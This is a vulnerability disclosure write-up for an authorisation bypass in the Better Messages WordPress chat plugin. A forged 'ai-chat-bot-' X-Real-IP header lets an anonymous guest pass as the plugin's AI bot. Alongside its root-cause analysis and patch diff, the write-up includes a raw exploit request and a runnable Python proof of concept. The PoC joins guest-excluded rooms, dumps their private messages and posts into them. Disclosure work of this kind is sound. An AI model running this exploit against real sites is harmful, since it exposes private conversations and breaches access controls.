CVE-2026-89093: Better Messages Unauthenticated Information Exposure via a Spoofed AI Bot Identity
TL;DR
- I found an unauthenticated information exposure in Better Messages, a WordPress chat plugin with over 10,000 active installs, where a forged identity reads private chat rooms.
- The plugin recognises its own AI chat bot by checking whether a guest's stored IP address begins with the string
ai-chat-bot-. - That IP comes from a request header the client controls and is written to the database unchanged when an anonymous visitor registers a guest account.
- The bot check runs ahead of the role allowlist in every chat room permission function, so the forged identity joins rooms that exclude guests, reads their private message history, and posts into them.
- The issue affects Better Messages
<= 2.15.33, was assigned CVE-2026-89093, and was fixed in 3.0.0.
Summary
Better Messages let an unauthenticated visitor impersonate its internal AI chat bot, because the bot's identity was derived from a client-controlled IP header, and that forged identity satisfied every chat room permission check.
- CVE: CVE-2026-89093
- Product: Better Messages
- Active Installs: 10,000+
- Vulnerability: Unauthenticated Information Exposure via a Spoofed AI Bot Identity
- Affected Versions: <= 2.15.33
- Fixed In: 3.0.0
- CVSS Severity: 5.3 (medium)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Required Privilege: None
- Advisory: Wordfence
- Reported: July 28, 2026
- NVD Published: September 19, 2026
Introduction
[A]I was diffing Better Messages releases again when the rewrite of its public chat room listing caught my eye. The new version replaced a hard cap of a hundred rooms with a paginated listing, and the endpoint that serves it carries permission_callback => '__return_true', so anyone can call it. That sent me looking at how a guest is actually allowed into a room.
Guest access turns out to be careful. One setting decides whether guests may exist at all, and a separate per-room setting decides whether a given room admits them. A room that hasn't opted in stays closed, which is the default, and an anonymous visitor who opens it gets a login screen. Most of the permission code holds that line properly.
The plugin also has to recognise its own AI chat bot, though, and that's the one identity it works out from a value the client gets to choose.
Root Cause Analysis
Where the Guest IP Comes From
Guest registration is open to anyone who is not logged in, in inc/guests.php.
// inc/guests.php (register_routes)
register_rest_route( 'better-messages/v1', '/guests/register', array(
'methods' => 'POST',
'callback' => array( $this, 'register' ),
'permission_callback' => function() {
return ! is_user_logged_in(); // [1] Open to any anonymous caller.
},
) );
The callback at [1] is what lets a logged-out caller reach the handler. Registration itself still requires guest chat to be switched on, so on a site that uses the feature an anonymous request creates a guest record. That record stores an IP address, and the value it stores is read straight from the request, in get_client_ip().
// inc/guests.php (get_client_ip)
if ( isset($_SERVER['HTTP_X_REAL_IP']) && ! empty($_SERVER['HTTP_X_REAL_IP']) && ! str_contains($_SERVER['HTTP_X_REAL_IP'], ',') ) {
$ip = $_SERVER['HTTP_X_REAL_IP']; // [2] Client header, comma rejected, nothing else checked.
}
// ... HTTP_CLIENT_IP, HTTP_X_FORWARDED_FOR and REMOTE_ADDR tried in turn, same way.
X-Real-IP at [2] is a request header, so the caller sets it to whatever they like. The only filtering is a rejection of values that contain a comma. There is no FILTER_VALIDATE_IP on this path, so the field doesn't have to hold an IP address at all. Registration then writes that value into the guest row without touching it, in register().
// inc/guests.php (register)
$result = $wpdb->insert( $this->table, [
'secret' => $secret,
'name' => sanitize_user($name),
'email' => $email,
'ip' => $this->get_client_ip(), // [3] Header value stored verbatim.
] );
At [3] the attacker-chosen string becomes the guest's stored ip. Nothing later rewrites it, so it stays for the life of the record.
The Bot Identity Test
The plugin decides whether a user is its AI bot by looking at that same stored ip, in inc/functions.php.
// inc/functions.php (is_ai_bot_user)
public function is_ai_bot_user( $user_id ){
if( $user_id >= 0 ) return false;
$guest = Better_Messages()->guests->get_guest_user( $user_id );
if( ! $guest || empty( $guest->ip ) ) return false;
return str_starts_with( $guest->ip, 'ai-chat-bot-' ); // [4] Identity from an IP prefix.
}
The test at [4] is a plain string prefix check. Any guest whose ip begins with ai-chat-bot- is treated as the bot, and that prefix is a hardcoded literal that appears in the same form on every installation. There is no secret in it and no per-site value to guess. Register with X-Real-IP: ai-chat-bot-1 and the guest is the bot as far as this function is concerned.
The genuine bot uses the suffix after the prefix as a post id, but the identity check never reads it. Because the test is str_starts_with, the bare prefix is enough and the rest is arbitrary.
The Permission Gate Trusts It
The bot test is consulted at the top of each chat room permission function, in inc/chats.php.
// inc/chats.php (user_can_join)
public function user_can_join( $user_id, $chat_id ){
if( user_can( $user_id, 'manage_options') ) return true;
if( Better_Messages()->functions->is_ai_bot_user( $user_id ) ) return true; // [5] Bot short-circuit.
$post = get_post( $chat_id );
if ( $post && $post->post_status === 'draft' ) return false;
$settings = $this->get_chat_settings( $chat_id );
// ... role allowlist check against $settings['can_join'] follows.
The bot branch at [5] returns true before the code reaches the draft check or the room's role allowlist, so a room's can_join list is never consulted for the bot. user_can_read() and user_can_reply() open the same way. The forged guest therefore passes join, read and reply on an ordinary chat room whose allowlist names only registered roles such as administrator. The join route turns away ephemeral rooms before the permission check runs, so those stay out of reach, but a normal role-restricted room does not.
Enabling guest chat globally does not open those rooms on its own. A room only admits ordinary guests when it individually sets allow_guests_chat, which adds the guest role to its allowlist. The bot identity ignores that decision entirely, which is why the outcome is access to closed rooms rather than to the ones a site owner chose to open.
Impact
An unauthenticated attacker forges the plugin's own bot identity and performs member level actions on rooms that were meant to exclude them. Against a room whose allowlist names only administrator, the forged guest joins the room, which writes a real participant record, and posts messages into the conversation. An ordinary guest registered the same way is turned away from both, with the join refused and the send returning HTTP 401, so the boundary is real and the forged identity is what steps over it.
The illegitimate membership also hands the intruder the room's private message history between its real members. The join emits no user_joined system message either, because the plugin returns early for bot users before writing one, and the matching user_left notice is held back the same way. The intruder isn't invisible, since the participant roster still lists them.
This is an access-control break, not a privilege escalation, which is why Wordfence tracks it as improper authentication (CWE-287). The forged guest gains no WordPress role and no admin capability, and there's no file write or code execution on this path.
Exploitation
Preconditions
- Better Messages
<= 2.15.33is active with guest chat enabled, which is a normal feature toggle. - At least one chat room exists whose allowlist does not include guests, which is the default for any room that has not opted in.
Manual Request
The whole bypass starts with one unauthenticated registration call carrying the forged header.
POST /?rest_route=/better-messages/v1/guests/register HTTP/1.1
Host: target.example
Content-Type: application/json
X-Real-IP: ai-chat-bot-1
{}
The response returns a guest id and secret, and reports is_bot as 1. Sending those as the BM-Guest-Id and BM-Guest-Secret headers on the later calls to getChatRooms, chat/<id>/join, thread/<id>/loadMore and thread/<id>/send walks the rest of the chain.
PoC
The PoC accompanying this writeup registers the forged guest, enumerates the rooms it can see, then joins each one, prints the private messages it can read, and posts a message of its own.
#!/usr/bin/env python3
"""CVE-2026-89093: Better Messages <= 2.15.33 unauthenticated chat room authorisation bypass.
Register a guest with an X-Real-IP header that begins with "ai-chat-bot-". The
header is stored verbatim as the guest IP, and the plugin treats any guest whose
IP starts with that prefix as its AI bot. The bot check short circuits
user_can_join(), user_can_read() and user_can_reply() before the room's role
allowlist is consulted, so the guest enumerates rooms that exclude guests, joins
them, reads their private message history, and posts into them.
"""
import argparse
import json
import sys
import urllib.error
import urllib.request
BOT_IP = "ai-chat-bot-1"
POSTED_MESSAGE = "hello from an unauthenticated guest"
# A large loaded id makes the server return the batch of messages just before
# it, newest first.
HISTORY_SENTINEL = 999999
def call(base, route, method="GET", body=None, headers=None):
"""Issue a REST request, trying pretty permalinks then the query fallback."""
for target in ("{}/wp-json{}".format(base, route),
"{}/?rest_route={}".format(base, route)):
data = json.dumps(body).encode() if body is not None else None
request = urllib.request.Request(target, data=data, method=method)
request.add_header("Content-Type", "application/json")
for name, value in (headers or {}).items():
request.add_header(name, value)
try:
with urllib.request.urlopen(request, timeout=20) as response:
return json.loads(response.read().decode())
except urllib.error.HTTPError as error:
payload = error.read().decode()
try:
return json.loads(payload)
except ValueError:
continue
except (urllib.error.URLError, ValueError):
continue
return None
def main():
parser = argparse.ArgumentParser(
description="Better Messages <= 2.15.33 unauthenticated chat room authorisation bypass")
parser.add_argument("--url", required=True, help="target site URL")
parser.add_argument("--chat-id", type=int, help="single chat room to target")
args = parser.parse_args()
base = args.url.rstrip("/")
guest = call(base, "/better-messages/v1/guests/register", "POST", {},
{"X-Real-IP": BOT_IP})
if not guest or "secret" not in guest:
print("[-] guest registration refused, guest chat is not enabled")
return 1
headers = {"BM-Guest-Id": str(guest["id"]),
"BM-Guest-Secret": guest["secret"]}
print("[+] registered guest {} with forged IP {}".format(guest["id"], BOT_IP))
print("[+] plugin reports is_bot={}".format(guest.get("user", {}).get("is_bot")))
rooms = call(base, "/better-messages/v1/getChatRooms", "GET", None, headers)
items = (rooms or {}).get("items", [])
print("[+] chat rooms visible: {}".format(len(items)))
for room in items:
print(" chat_id={} thread_id={} title={!r}".format(
room.get("chat_id"), room.get("thread_id"), room.get("title")))
targets = [r for r in items if args.chat_id is None
or r.get("chat_id") == args.chat_id]
if not targets:
print("[-] no chat room available to target")
return 1
for room in targets:
chat_id = room.get("chat_id")
thread_id = room.get("thread_id")
joined = call(base, "/better-messages/v1/chat/{}/join".format(chat_id),
"POST", {}, headers)
threads = (joined or {}).get("threads", [])
if not threads or -int(guest["id"]) not in (threads[0].get("participants") or []):
print("[-] join into chat room {} was refused".format(chat_id))
continue
print("[+] joined chat room {} ({!r})".format(chat_id, room.get("title")))
history = call(base, "/better-messages/v1/thread/{}/loadMore".format(thread_id),
"POST", {"loaded": [HISTORY_SENTINEL], "to": 0, "mode": ""}, headers)
messages = (history or {}).get("messages", [])
readable = [m for m in messages
if "BM-SYSTEM-MESSAGE" not in str(m.get("message", ""))]
print("[+] readable private messages in thread {}: {}".format(
thread_id, len(readable)))
for message in readable:
print(" sender {}: {}".format(
message.get("sender_id"), str(message.get("message"))[:100]))
sent = call(base, "/better-messages/v1/thread/{}/send".format(thread_id), "POST",
{"message": POSTED_MESSAGE, "temp_id": "t_{}_1".format(thread_id),
"temp_time": "1"}, headers)
if sent and sent.get("result"):
print("[+] posted message {} into thread {}".format(
sent.get("message_id"), thread_id))
return 0
if __name__ == "__main__":
sys.exit(main())
Point it at a single room with --chat-id, or omit that to work through the rooms the listing returns.
python3 cve-2026-89093.py --url http://target.example --chat-id 12
Demo
Running the PoC against the last affected release forges the bot, enumerates the rooms that exclude guests, joins the Staff Room, reads the private exchange between its two real members, and posts into it.

Patch Diffing
Better Messages 3.0.0 stopped deriving the bot identity from the IP field. In inc/functions.php, is_ai_bot_user() now reads a dedicated bot id rather than matching a string on ip.
// inc/functions.php (is_ai_bot_user)
public function is_ai_bot_user( $user_id ){
if( $user_id >= 0 ) return false;
- $guest = Better_Messages()->guests->get_guest_user( $user_id );
- if( ! $guest || empty( $guest->ip ) ) return false;
-
- return str_starts_with( $guest->ip, 'ai-chat-bot-' );
+ return Better_Messages()->guests->get_bot_id( $user_id ) > 0;
}
get_bot_id() resolves to a bot_id value on the guest record that only the plugin sets when it provisions a real bot, so a forged ip can no longer make a guest look like the bot, in guest_bot_id().
// inc/guests.php (guest_bot_id)
public function guest_bot_id( $guest_user ){
if( ! $guest_user || empty( $guest_user->bot_id ) ) return 0;
return (int) $guest_user->bot_id;
}
The same release also hardened the field the old check trusted. get_client_ip() was rewritten to loop over the candidate headers and validate each one as a real IP address before returning it.
// inc/guests.php (get_client_ip)
foreach( $sources as $source ){
if( empty( $_SERVER[ $source ] ) ) continue;
$ip = trim( (string) $_SERVER[ $source ] );
if( str_contains( $ip, ',' ) ) continue;
if( filter_var( $ip, FILTER_VALIDATE_IP ) !== false ){
return $ip;
}
}
return '';
The filter_var() call is the new line. An X-Real-IP value that is not a valid IPv4 or IPv6 address is skipped, and the loop moves on to the remaining headers, keeping only a value that validates. The empty return is reached only when none of them do. Either way, the ai-chat-bot- prefix can no longer reach the ip column.
Either change closes the reported path on its own. Shipping both means identity no longer rests on a network field, and the field itself can no longer hold a value that is not an address.
Remediation
Update Better Messages to 3.0.0 or later. The 3.0 release is a full redesign, so the identity fix arrived with a large amount of unrelated change rather than as a point release on the 2.15 line, and every 2.15 version up to 2.15.33 remains affected.
Disclosure Timeline
- July 28, 2026: Reported to the Wordfence bug bounty program.
- September 10, 2026: Triage started, report validated, and CVE-2026-89093 assigned.
- September 11, 2026: Bounty awarded ($34).
- September 18, 2026: Published by Wordfence.
- September 19, 2026: Indexed by NVD.
Conclusion
The room listing rewrite is what pointed me here, but the flaw sits a layer down, in the check every permission function runs first. is_ai_bot_user() treats any guest whose stored ip begins with ai-chat-bot- as the plugin's bot, and that ip is just the X-Real-IP header sent at registration. Guest chat being off by default and each room opting in separately are sound controls, but neither matters once identity is read from a client-controlled field. That is what 3.0.0 changes, sourcing the bot from a server-set bot_id and validating the header with filter_var().